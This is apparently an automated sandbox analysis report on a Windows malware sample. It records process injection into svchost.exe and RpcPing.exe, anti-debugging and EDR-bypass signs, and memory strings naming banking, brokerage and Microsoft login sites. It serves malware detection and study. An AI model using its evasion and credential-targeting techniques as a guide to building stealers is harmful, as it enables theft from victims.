Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\RpcPing.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: xBzBOQwywT.exe

Static file information: File size 1332289 > 1048576

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: IpIaYUETnYWFH.exe, 00000004.00000000.1729593052.0000000000A0E000.00000002.00000001.01000000.00000005.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3364160593.0000000000A0E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: xBzBOQwywT.exe, 00000000.00000003.1592526943.00000000045A0000.00000004.00001000.00020000.00000000.sdmp, xBzBOQwywT.exe, 00000000.00000003.1591484081.0000000004740000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1806399364.000000000339E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1715532753.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1806399364.0000000003200000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1713483766.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3365897202.0000000002F50000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.1810471522.0000000000B94000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3365897202.00000000030EE000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.1804899051.00000000009E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RPCPing.pdbGCTL source: svchost.exe, 00000002.00000003.1772438382.0000000002C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1772421164.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000004.00000003.2058526696.0000000000C5B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: xBzBOQwywT.exe, 00000000.00000003.1592526943.00000000045A0000.00000004.00001000.00020000.00000000.sdmp, xBzBOQwywT.exe, 00000000.00000003.1591484081.0000000004740000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1806399364.000000000339E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1715532753.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1806399364.0000000003200000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1713483766.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, RpcPing.exe, 00000005.00000002.3365897202.0000000002F50000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.1810471522.0000000000B94000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3365897202.00000000030EE000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.1804899051.00000000009E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RPCPing.pdb source: svchost.exe, 00000002.00000003.1772438382.0000000002C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1772421164.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000004.00000003.2058526696.0000000000C5B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: RpcPing.exe, 00000005.00000002.3367266886.000000000357C000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3361983815.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000000.1874660765.00000000028AC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2101667197.000000002D4CC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: RpcPing.exe, 00000005.00000002.3367266886.000000000357C000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3361983815.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000000.1874660765.00000000028AC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2101667197.000000002D4CC000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,

0_2_0040EBD0

Source: xBzBOQwywT.exe

Static PE information: real checksum: 0xa961f should be: 0x14a986

Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00416CB5 push ecx; ret	0_2_00416CC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041206B push ebx; ret	2_2_00412074
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402011 push edx; iretd	2_2_00402032
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00407116 push esi; retf	2_2_00407117
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A9D8 push ebp; retf	2_2_0041A9D9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403210 push eax; ret	2_2_00403212
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00404334 push ebx; ret	2_2_00404335
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004143D7 pushfd ; ret	2_2_004143D8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401BBB pushad ; retf	2_2_00401BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A45F push esp; ret	2_2_0041A502
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A463 push esp; ret	2_2_0041A502
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041640E push edi; iretd	2_2_00416429
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A503 push esp; ret	2_2_0041A502
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401DE7 push ds; ret	2_2_00401DF3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00411594 push es; ret	2_2_00411596
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00404E13 push edx; ret	2_2_00404E14
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00406690 push esp; iretd	2_2_00406691
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040A69A push ss; retf	2_2_0040A6A1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00411739 push edx; ret	2_2_0041173A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401FC2 push eax; retf	2_2_00401FC5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00404FC3 push esp; iretd	2_2_00404FC4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0320225F pushad ; ret	2_2_032027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032027FA pushad ; ret	2_2_032027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032309AD push ecx; mov dword ptr [esp], ecx	2_2_032309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0320283D push eax; iretd	2_2_03202858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0320135E push eax; iretd	2_2_03201369
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Code function: 4_2_02C462F7 push ebx; ret	4_2_02C46300
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Code function: 4_2_02C3924F push esp; iretd	4_2_02C39250
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Code function: 4_2_02C3B3A2 push esi; retf	4_2_02C3B3A3
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Code function: 4_2_02C488CF pushad ; retf B253h	4_2_02C48918
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Code function: 4_2_02C3909F push edx; ret	4_2_02C390A0

Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0047A330 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_0047A330
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00434418

Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\xBzBOQwywT.exe	API/Special instruction interceptor: Address: 3EC1684
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FFBCB7AD324
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FFBCB7AD7E4
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FFBCB7AD944
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FFBCB7AD504
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FFBCB7AD544
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FFBCB7AD1E4
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FFBCB7B0154
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FFBCB7ADA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0327096E rdtsc

2_2_0327096E

Source: C:\Windows\SysWOW64\RpcPing.exe

Window / User API: threadDelayed 9756

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-87679

Source: C:\Users\user\Desktop\xBzBOQwywT.exe	API coverage: 3.7 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\RpcPing.exe	API coverage: 2.8 %

Source: C:\Windows\SysWOW64\RpcPing.exe TID: 4128	Thread sleep count: 217 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe TID: 4128	Thread sleep time: -434000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe TID: 4128	Thread sleep count: 9756 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe TID: 4128	Thread sleep time: -19512000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe TID: 4300	Thread sleep time: -55000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe TID: 4300	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\RpcPing.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\RpcPing.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452492
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442886
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_004788BD
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_004339B6
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	0_2_0045CAFA
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00431A86
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD27
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0045DE8F FindFirstFileW,FindClose,	0_2_0045DE8F
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8B
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_004EC4E0 FindFirstFileW,FindNextFileW,FindClose,	5_2_004EC4E0

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_0040E500

Source: 0J030901P.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: 0J030901P.5.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: 0J030901P.5.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: 0J030901P.5.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: 0J030901P.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: 0J030901P.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: 0J030901P.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: 0J030901P.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: 0J030901P.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: 0J030901P.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: 0J030901P.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: 0J030901P.5.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: 0J030901P.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: 0J030901P.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: 0J030901P.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: 0J030901P.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: 0J030901P.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: RpcPing.exe, 00000005.00000002.3361983815.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 0J030901P.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: 0J030901P.5.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: 0J030901P.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: 0J030901P.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: firefox.exe, 0000000A.00000002.2103029195.00000226AD45C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll/
Source: 0J030901P.5.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: 0J030901P.5.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: IpIaYUETnYWFH.exe, 00000006.00000002.3364445145.0000000000BF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllF
Source: 0J030901P.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: 0J030901P.5.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: 0J030901P.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: 0J030901P.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: 0J030901P.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: 0J030901P.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: 0J030901P.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: 0J030901P.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

API call chain: ExitProcess graph end node

graph_0-86789

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0327096E rdtsc

2_2_0327096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_004175D3 LdrLoadDll,

2_2_004175D3

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_0045A370 BlockInput,

0_2_0045A370

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_0040D590 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

0_2_0040D590

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,

0_2_0040EBD0

Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_03EC02E0 mov eax, dword ptr fs:[00000030h]	0_2_03EC02E0
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_03EBE148 mov eax, dword ptr fs:[00000030h]	0_2_03EBE148
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_03EBE0E8 mov eax, dword ptr fs:[00000030h]	0_2_03EBE0E8
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_03EC1950 mov eax, dword ptr fs:[00000030h]	0_2_03EC1950
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_03EC18F0 mov eax, dword ptr fs:[00000030h]	0_2_03EC18F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A30B mov eax, dword ptr fs:[00000030h]	2_2_0326A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A30B mov eax, dword ptr fs:[00000030h]	2_2_0326A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A30B mov eax, dword ptr fs:[00000030h]	2_2_0326A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322C310 mov ecx, dword ptr fs:[00000030h]	2_2_0322C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03250310 mov ecx, dword ptr fs:[00000030h]	2_2_03250310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D437C mov eax, dword ptr fs:[00000030h]	2_2_032D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B035C mov eax, dword ptr fs:[00000030h]	2_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B035C mov eax, dword ptr fs:[00000030h]	2_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B035C mov eax, dword ptr fs:[00000030h]	2_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B035C mov ecx, dword ptr fs:[00000030h]	2_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B035C mov eax, dword ptr fs:[00000030h]	2_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B035C mov eax, dword ptr fs:[00000030h]	2_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FA352 mov eax, dword ptr fs:[00000030h]	2_2_032FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D8350 mov ecx, dword ptr fs:[00000030h]	2_2_032D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322E388 mov eax, dword ptr fs:[00000030h]	2_2_0322E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322E388 mov eax, dword ptr fs:[00000030h]	2_2_0322E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322E388 mov eax, dword ptr fs:[00000030h]	2_2_0322E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325438F mov eax, dword ptr fs:[00000030h]	2_2_0325438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325438F mov eax, dword ptr fs:[00000030h]	2_2_0325438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03228397 mov eax, dword ptr fs:[00000030h]	2_2_03228397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03228397 mov eax, dword ptr fs:[00000030h]	2_2_03228397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03228397 mov eax, dword ptr fs:[00000030h]	2_2_03228397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]	2_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]	2_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]	2_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]	2_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]	2_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]	2_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]	2_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]	2_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0324E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0324E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0324E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032663FF mov eax, dword ptr fs:[00000030h]	2_2_032663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EC3CD mov eax, dword ptr fs:[00000030h]	2_2_032EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0323A3C0
